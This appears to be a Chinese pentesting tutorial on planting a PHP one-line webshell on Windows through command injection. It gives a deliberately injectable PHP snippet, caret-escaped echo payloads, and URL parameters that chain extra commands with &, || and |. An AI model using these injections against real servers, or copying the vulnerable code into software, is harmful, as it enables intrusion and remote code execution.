windows下,對尖括號<>需要使用^進行轉義。
在cmd里,輸入 echo ^<?php phpinfo();?^>>a.php 可以寫入一句話木馬
在web滲透中,經常需要寫一句話,這里以簡單的命令執行為例
1.php內容如下:
<?php $d = $_GET['date']; system("echo ".$d); ?>
如果在瀏覽器里寫,還需注意問號的轉義。
http://localhost/1.php?date=^<^?php phpinfo();^?^> >b.php
以上的語句即可寫入一句話。
如果用管道符會怎樣呢?
Windows
“|”:直接執行后面的語句。如:ping 127.0.0.1|whoami
“||”:如果前面執行的語句出錯則執行后面的語句,前面的語句只能為假 如:ping 2 || whoami
“&”:如果前面的語句為假則直接執行后面的語句,前面的語句可真可假 如 ping 127.0.0.1&whoami
“&&”:如果前面的語句為假則直接出錯,也不執行后面的語句,前面的語句只能為真。例如:ping 127.0.0.1&&whoami
使用&:
http://localhost/1.php?date=1%26echo ^<^?php phpinfo();^?^> >c.php //此處需要把&轉義。 成功寫入
使用||:
http://localhost/1.php?date=<a.a||echo ^<^?php phpinfo();^?^> >c.php //因為沒有a.a文件,所以前面語句會出錯
使用|:
反正是各種不成功,本次cmd測試如下:
貌似是把>當文件名來處理了。
這里以phpstudy的rce漏洞舉例:
echo ^<?php phpinfo();?^>>PHPTutorial\WWW\a.php //務必注意路徑